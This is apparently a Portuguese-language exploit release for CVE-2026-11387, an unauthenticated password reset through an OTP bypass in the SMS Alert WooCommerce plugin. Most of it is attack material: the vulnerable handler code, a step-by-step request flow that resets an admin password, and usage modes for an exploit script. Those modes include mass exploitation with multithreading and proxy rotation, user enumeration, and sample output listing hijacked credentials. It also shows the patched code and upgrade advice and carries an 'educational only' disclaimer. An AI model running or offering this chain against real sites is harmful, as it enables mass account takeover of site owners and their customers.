
Explora escalonamento de privilégios não autenticado no plugin SMS Alert WooCommerce (CVE-2026-11387) via bypass de OTP e redefinição arbitrária de senha, com enumeração de usuários e varredura multithread.
☆ Escalação de Privilégios Não Autenticada via Redefinição de Senha Arbitrária ☆
=== Beelze ===
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-11387 |
| Pontuação CVSS | 9.8 Crítico |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo | Autenticação Ausente / Bypass de OTP |
| Plugin | SMS Alert – OTP Verification for WooCommerce (sms-alert) |
| Afetado | ≤ 3.9.5 |
| Corrigido | 3.9.6 |
| Publicado | 2026 |
| PoC | Beelze |
SMS Alert – OTP Verification for WooCommerce ≤ 3.9.5 é vulnerável a Escalação de Privilégios Não Autenticada via uma redefinição de senha arbitrária. O manipulador de redefinição de senha do plugin valida a ação de redefinição exclusivamente verificando $_REQUEST['option'] pela string smsalert-change-password-form, sem verificar se o desafio OTP foi concluído.
Uma condição de corrida crítica no mecanismo de semeadura de sessão permite que um invasor sequestre qualquer conta em duas requisições HTTP:
user_login alvo — isso aciona smsalert_site_challenge_otp() que semeia $_SESSION['user_login'] sem qualquer OTP ser validado.option=smsalert-change-password-form com uma nova senha escolhida — routeData() lê o $_SESSION['user_login'] pré-semeado e chama reset_password() incondicionalmente.Impacto: Invasão total de conta não autenticada de qualquer usuário cujo telefone de cobrança esteja registrado. O invasor obtém acesso persistente com a função e privilégios da vítima.
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp', [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
$user_login = sanitize_text_field( $_REQUEST['user_login'] );
$user = get_user_by( 'login', $user_login )
?: get_user_by( 'email', $user_login );
if ( $user ) {
// ❌ $_SESSION['user_login'] é definido AQUI — antes da verificação do OTP
$_SESSION['user_login'] = $user->user_login;
$_SESSION['smsalert_otp'] = $this->generate_otp();
$_SESSION[self::SESSION_VAR] = 'otp_sent'; // NÃO 'validated'
$this->send_otp( $user );
}
}
// handler/forms/class-wpresetpassword.php
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ❌ AUSENTE: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
$this->reset_password();
}
}
// handler/forms/class-wpresetpassword.php
private function reset_password() {
$user_login = $_SESSION['user_login'] ?? ''; // envenenado por smsalert_site_challenge_otp()
$new_pass = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
$confirm = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );
if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }
$user = get_user_by( 'login', $user_login );
if ( $user ) {
wp_set_password( $new_pass, $user->ID ); // ✅ senha alterada — nenhum OTP necessário
wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
exit;
}
}
// handler/forms/class-wpresetpassword.php (corrigido)
public function routeData() {
$option = sanitize_text_field( $_REQUEST['option'] ?? '' );
if ( $option === 'smsalert-change-password-form' ) {
// ✅ CORRIGIDO: OTP deve ser validado antes de permitir a redefinição
if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
wp_die( 'Verificação OTP necessária.' );
}
$this->reset_password();
}
}
Atacante (sem autenticação)
│
│ POST /my-account/lost-password/
│ corpo: user_login=admin
▼
┌─────────────────────────────────────────┐
│ smsalert_site_challenge_otp() │
│ → $_SESSION['user_login'] = 'admin' │ ← sessão envenenada 💀
│ → $_SESSION[SESSION_VAR] = 'otp_sent' │
│ → OTP enviado para o telefone da vítima│
│ (atacante nunca vê o OTP) │
└─────────────────────────────────────────┘
│
│ POST /my-account/lost-password/
│ corpo: option=smsalert-change-password-form
│ smsalert_user_newpwd=Pwned123!
│ smsalert_user_cnfpwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ routeData() │
│ → verifica apenas $_REQUEST['option'] │
│ → verificação SESSION_VAR: PULADA ❌ │
│ → reset_password() chamado │
│ → wp_set_password('admin', newpwd) │ ← senha alterada 😈
└─────────────────────────────────────────┘
│
│ POST /wp-login.php
│ log=admin pwd=Pwned123!
▼
┌─────────────────────────────────────────┐
│ Login BEM-SUCEDIDO │
│ cookie wordpress_logged_in_* definido │ ← INVASÃO CONFIRMADA 💀
└─────────────────────────────────────────┘
# Exploit de alvo único
python CVE-2026-11387.py
# → Modo 1, insira URL alvo + nome de usuário
# Apenas enumeração de usuários
python CVE-2026-11387.py
# → Modo 2
# Exploit em massa (multithread + rotação de proxy)
python CVE-2026-11387.py
# → Modo 3, targets.txt, threads, arquivo de proxy
# Apenas impressão digital (sem exploit)
python CVE-2026-11387.py
# → Modo 4, saída CSV
Fases do Exploit:
Fase 1 — Verificação de alcance + fallback HTTP
Fase 2 — Impressão digital de versão via readme.txt
Fase 3 — Enumeração de usuários (REST API / sitemap / archive de autores)
Fase 4 — Disparo do desafio OTP (envenenamento de sessão)
Fase 5 — Redefinição de senha via bypass do routeData()
Fase 6 — Verificação de login (cookie wordpress_logged_in_*)
Exemplo de saída (scan_results/CVE-2026-11387_success.txt):
[2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa
Atualize o SMS Alert para a versão 3.9.6 ou superior.
[Beelze] — apenas para fins educacionais e pesquisa de segurança autorizada